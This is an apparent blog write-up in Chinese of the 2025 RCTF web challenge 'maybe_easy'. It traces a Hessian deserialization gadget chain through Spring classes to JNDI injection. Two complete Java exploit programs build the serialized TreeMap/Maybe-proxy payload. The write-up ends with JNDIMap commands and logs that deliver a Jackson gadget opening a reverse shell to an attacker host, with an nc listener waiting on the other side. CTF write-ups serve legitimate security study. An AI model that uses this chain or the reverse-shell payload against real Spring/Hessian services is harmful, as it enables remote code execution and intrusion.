Featured image of post 2025RCTFwp

2025RCTFwp

2025RCTFwp

maybe_easy

jar包下下来先看依赖,hessian4.0.66

入口在controller

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package com.rctf.server.controller;

import com.rctf.server.tool.HessianFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class RCTFController {
    @RequestMapping({"/hello"})
    public String hello(@RequestParam(name = "data",required = false) String data) throws Exception {
        Object obj = HessianFactory.deserialize(data);
        return "hello";
    }
}

hello路由传data反序列化

Maybe类里面的compareto方法想到打treeMap,而且还会调用InvocationHandler

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.rctf.server.tool;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Maybe extends Proxy implements Comparable<Object>, Serializable {
    public Maybe(InvocationHandler h) {
        super(h);
    }

    public int compareTo(Object o) {
        try {
            Method method = Comparable.class.getMethod("compareTo", Object.class);
            Object result = this.h.invoke(this, method, new Object[]{o});
            return (Integer)result;
        } catch (Throwable e) {
            throw new RuntimeException(e);
        }
    }
}

然后看hessian工厂类,定义了hessian的序列化和反序列化函数,设置白名单

1
2
3
4
5
6
7
static {
        WHITE_PACKAGES.add("com.rctf.server.tool.");
        WHITE_PACKAGES.add("java.util.");
        WHITE_PACKAGES.add("org.apache.commons.logging.");
        WHITE_PACKAGES.add("org.springframework.beans.");
        WHITE_PACKAGES.add("org.springframework.jndi.");
    }

搜索hessian反序列化文章:Hessian 反序列化知一二 | 素十八

直接找compareto的利用

image-20251118193856691

image-20251118194037530

然后我们去ysomap看一下这里链子怎么实现的

image-20251118194336442

也就是说这里的compareTo能被TreeMap类触发,然后触发其他类的动态代理,显然是入口

接下来就是查找InvocationHandler的用法,看一下白名单里面哪些类继承了这个接口

image-20251118200006149

分別看看这三个

image-20251118200440623

没啥用

image-20251118200703073

跟进去其实有个toString方法,不过后续利用还是个问题

最后看ObjectFactoryDelegatingInvocationHandler

image-20251118200801342

invoke方法里面的objetFactory可控,可以调用getObject方法

接下来就是找能用的objectFactory类

image-20251118201426215

image-20251118201443825

显然可以用,它的getObject可以调用getBean方法,而且其中的参数都可控

接下来找符合条件的BeanFactory,翻找beans包下面没有可用的,查找jndi包的

image-20251118202633050

查看它的getBean方法

image-20251118202818536

那还说啥了,这里可以JNDI注入

接下来就是搓poc环节

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example;


import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.ysomap.ReflectionHelper;
import com.rctf.server.tool.Maybe;
import sun.misc.Unsafe;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.TreeMap;
import java.util.TreeSet;

public class exp3 {
    public static void main(String[] args) throws Exception {
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        SimpleJndiBeanFactory factory = new SimpleJndiBeanFactory();
        Class<?> c1 = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
        Object o1 = unsafe.allocateInstance(c1);
        unsafe.getAndSetObject(o1, unsafe.objectFieldOffset(c1.getDeclaredField("beanFactory")), factory);
        String jndiUrl = "ldap://xxx:xxxx";
        unsafe.getAndSetObject(o1, unsafe.objectFieldOffset(c1.getDeclaredField("targetBeanName")), jndiUrl);
        InvocationHandler o2 = (InvocationHandler) unsafe.allocateInstance(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"));
        long objectFactory = unsafe.objectFieldOffset(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredField("objectFactory"));
        unsafe.getAndSetObject(o2, objectFactory, o1);
        Maybe maybe = new Maybe(o2);
        TreeSet treeSet = makeTreeSet(maybe, maybe);
        String serialize =  HessianFactory.serialize(treeSet);
        HessianFactory.deserialize(serialize);
    }
    public static TreeSet makeTreeSet(Object v1, Object v2) throws Exception {
        TreeMap<Object,Object> m = new TreeMap<>();
        ReflectionHelper.setFieldValue(m, "size", 2);
        ReflectionHelper.setFieldValue(m, "modCount", 2);
        Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
        Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object node = nodeCons.newInstance(v1, new Object[0], null);
        Object right = nodeCons.newInstance(v2, new Object[0], node);
        ReflectionHelper.setFieldValue(node, "right", right);
        ReflectionHelper.setFieldValue(m, "root", node);

        TreeSet set = new TreeSet();
        ReflectionHelper.setFieldValue(set, "m", m);
        return set;
    }
}

其实就是从后往前构造,先将SimpleJndiBeanFactory和jndi的恶意url填入TargetBeanObjectFactory的两个属性,然后传给ObjectFactoryDelegatingInvocationHandler的objectFactory,最后作为InvocationHandler传入到maybe这个类的代理,最外面套一个TreeMap触发,这里这个makeTreeSet函数是搬ysoMap里面的

image-20251119192934440

当然这题也可以将url先放在SimpleJndiBeanFactory里面一块传给TargetBeanObjectFactory,同时这题是jdk8,也可以考虑不用unsafe反射

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.TreeMap;

import com.rctf.server.tool.Maybe;
public class exp4 {
    public static void main(String[] args) throws Throwable {
        SimpleJndiBeanFactory factory = new SimpleJndiBeanFactory();
        String url = "ldap://xxx:xxxx";
        //可以在这一步设置url
        factory.setShareableResources(url);
        Class<?> c1 = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
        Constructor<?> constructor = c1.getDeclaredConstructor(BeanFactory.class, String.class);
        constructor.setAccessible(true);
        ObjectFactory objectFactory = (ObjectFactory) constructor.newInstance(factory, url);
        Class<?> c2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> constructor2 = c2.getDeclaredConstructor(ObjectFactory.class);
        constructor2.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor2.newInstance(objectFactory);
        Maybe maybe = new Maybe(invocationHandler);
        //其实这下面用优先队列那个compare也能触发,或者直接用TreeMap包装就行
        TreeMap treeMap = new TreeMap();
        treeMap.put(maybe,maybe);
        String serialize = HessianFactory.serialize(treeMap);
        HessianFactory.deserialize(serialize);
    }
}

后面就是jndi注入,这里可以选择打jackson+springaop这条原生链反弹shell,利用jndimap起个服务反弹shell,或者用java-chains二次反序列化打内存马也行

之前一直没打明白,现在记录一下jndimap这玩意的用法

1
2
3
4
root@iZgw05z0rnhp390rdoq7z7Z:~# java -jar JNDIMap-0.0.3.jar
[RMI] Listening on 127.0.0.1:1099
[HTTP] Listening on 127.0.0.1:3456
[LDAP] Listening on 127.0.0.1:1389

然后触发点填入ldap://xxx:1389/Deserialize/Jackson/ReverseShell/xxx/4444

1
2
3
[LDAP] Received query: /Deserialize/Jackson/ReverseShell/xxx/4444
[Deserialize] [Jackson] [ReverseShell] Host: xxx Port: 4444
[LDAP] Sending serialized gadget

出现这个就成了,另一边要同时起nc监听

使用 Hugo 构建
主题 StackJimmy 设计